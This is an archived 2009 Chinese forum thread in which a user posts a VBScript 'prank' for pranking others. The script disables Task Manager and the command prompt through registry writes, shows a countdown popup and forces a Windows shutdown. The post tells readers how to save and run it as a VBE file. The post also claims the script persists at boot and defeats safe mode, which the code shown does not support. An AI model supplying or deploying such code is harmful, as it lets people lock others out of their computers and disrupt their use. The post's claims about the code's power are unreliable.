2009最新的qq整人软件,开机强制自动关机

社区服务
高级搜索
猴岛论坛电脑百科2009最新的qq整人软件,开机强制自动关机
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
2个回复

2009最新的qq整人软件,开机强制自动关机

楼层直达
xujianpo

ZxID:8539892

等级: 上等兵
举报 只看楼主 使用道具 楼主   发表于: 2009-10-31 0
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.CommandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next

[color=#FF0000]复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式,
此代码的威力:
1:开机就强制自动关机
2:cmd命令打不开
3:结束任务不管用
4:F8安全模式也不管用
呵呵!听起来是不是有点恐怖啊,我刚看的时候,也吓了一跳,

代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,,

PS:不要乱拿软件去整人,发生什么事可不要怪我啊。。
拍拍手 顶起吧
760963495

ZxID:8615878

等级: 中校
真心想学技术......QQ760963495
举报 只看该作者 沙发   发表于: 2009-10-31 0
.................
xl466315

ZxID:9279819

等级: 上士
举报 只看该作者 板凳   发表于: 2009-10-31 0
不死很明白啊、郁闷。。
« 返回列表
发帖 回复